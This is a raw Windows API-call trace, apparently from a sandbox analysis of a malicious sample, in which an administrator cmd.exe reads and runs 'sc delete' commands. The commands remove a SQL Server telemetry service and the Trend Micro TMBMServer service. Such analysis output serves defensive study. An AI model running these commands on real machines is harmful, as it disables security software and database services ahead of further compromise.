SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.060] GetProcessHeap () returned 0x1b0000 [0066.060] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0066.060] GetEnvironmentStringsW () returned 0x1d1b10* [0066.060] GetProcessHeap () returned 0x1b0000 [0066.060] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0066.060] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.060] GetProcessHeap () returned 0x1b0000 [0066.060] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0066.060] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0066.060] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0066.061] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.061] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0066.061] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.061] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0066.061] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.061] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0066.062] GetConsoleOutputCP () returned 0x1b5 [0066.062] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.062] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.062] GetProcessHeap () returned 0x1b0000 [0066.062] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0066.062] GetProcessHeap () returned 0x1b0000 [0066.062] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0066.062] GetProcessHeap () returned 0x1b0000 [0066.062] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0066.062] GetProcessHeap () returned 0x1b0000 [0066.062] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.062] GetProcessHeap () returned 0x1b0000 [0066.062] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0066.062] GetProcessHeap () returned 0x1b0000 [0066.062] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0066.062] GetProcessHeap () returned 0x1b0000 [0066.062] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0066.062] GetProcessHeap () returned 0x1b0000 [0066.062] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0066.062] GetProcessHeap () returned 0x1b0000 [0066.062] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0066.063] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0066.063] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.063] GetFileType (hFile=0x120) returned 0x3 [0066.063] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.063] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0066.063] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.063] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.063] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0066.063] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0066.063] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.063] GetFileType (hFile=0x120) returned 0x3 [0066.063] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0066.063] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0066.064] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.064] GetFileType (hFile=0xb8) returned 0x3 [0066.064] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.064] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.064] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.064] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0066.064] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.064] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.064] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.064] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0066.064] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.064] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.064] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.064] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0066.064] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.064] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.064] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.064] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0066.064] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.064] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.065] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.065] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0066.065] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.065] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.065] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.065] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0066.065] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.065] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.065] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.065] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0066.065] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.065] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.065] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.065] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0066.065] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.065] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.065] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.065] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0066.065] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.065] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.066] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.066] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0066.066] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.066] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.066] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.066] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="TSQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0066.066] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.066] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.066] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.066] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="MQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0066.066] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.066] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.066] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.066] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="BLTELEMETRY$HL\"\nvice\n\n") returned 1 [0066.066] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.066] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.066] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.066] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="MTELEMETRY$HL\"\nvice\n\n") returned 1 [0066.066] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.066] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.067] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.067] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="SELEMETRY$HL\"\nvice\n\n") returned 1 [0066.067] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.067] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.067] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.067] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="eLEMETRY$HL\"\nvice\n\n") returned 1 [0066.067] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.067] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.067] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.067] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="rEMETRY$HL\"\nvice\n\n") returned 1 [0066.067] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.067] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.067] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.067] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="vMETRY$HL\"\nvice\n\n") returned 1 [0066.067] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.067] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.067] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.067] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="eETRY$HL\"\nvice\n\n") returned 1 [0066.067] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.067] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.068] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.068] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="rTRY$HL\"\nvice\n\n") returned 1 [0066.068] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.068] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.068] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.068] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="\nRY$HL\"\nvice\n\n") returned 1 [0066.068] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.068] GetFileType (hFile=0xb8) returned 0x3 [0066.068] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.068] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.068] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.068] GetFileType (hFile=0x120) returned 0x3 [0066.068] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TMBMServer\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TMBMServer\n", lpUsedDefaultChar=0x0) returned 22 [0066.068] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x15, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x15, lpOverlapped=0x0) returned 1 [0066.068] GetProcessHeap () returned 0x1b0000 [0066.068] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0066.068] GetProcessHeap () returned 0x1b0000 [0066.068] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0066.068] GetProcessHeap () returned 0x1b0000 [0066.068] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0066.069] GetProcessHeap () returned 0x1b0000 [0066.069] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0066.069] GetProcessHeap () returned 0x1b0000 [0066.069] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x36) returned 0x1c6510 [0066.069] GetConsoleOutputCP () returned 0x1b5 [0066.069] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.069] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.069] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.069] GetProcessHeap () returned 0x1b0000 [0066.069] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0066.069] GetProcessHeap () returned 0x1b0000 [0066.070] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3c) returned 0x1caa40 [0066.070] GetProcessHeap () returned 0x1b0000 [0066.070] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0066.070] SetErrorMode (uMode=0x0) returned 0x1 [0066.070] SetErrorMode (uMode=0x1) returned 0x0 [0066.070] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0066.070] SetErrorMode (uMode=0x1) returned 0x1 [0066.070] GetProcessHeap () returned 0x1b0000 [0066.070] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0066.070] GetProcessHeap () returned 0x1b0000 [0066.070] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0066.070] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.070] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0066.070] GetProcessHeap () returned 0x1b0000 [0066.070] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0066.070] GetProcessHeap () returned 0x1b0000 [0066.070] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0066.070] GetProcessHeap () returned 0x1b0000 [0066.070] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0066.070] GetProcessHeap () returned 0x1b0000 [0066.070] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0066.070] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.070] GetProcessHeap () returned 0x1b0000 [0066.071] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0066.071] GetProcessHeap () returned 0x1b0000 [0066.071] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0066.071] GetProcessHeap () returned 0x1b0000 [0066.071] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0066.071] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.071] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.071] GetLastError () returned 0x2 [0066.071] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.071] GetLastError () returned 0x2 [0066.071] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.071] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, 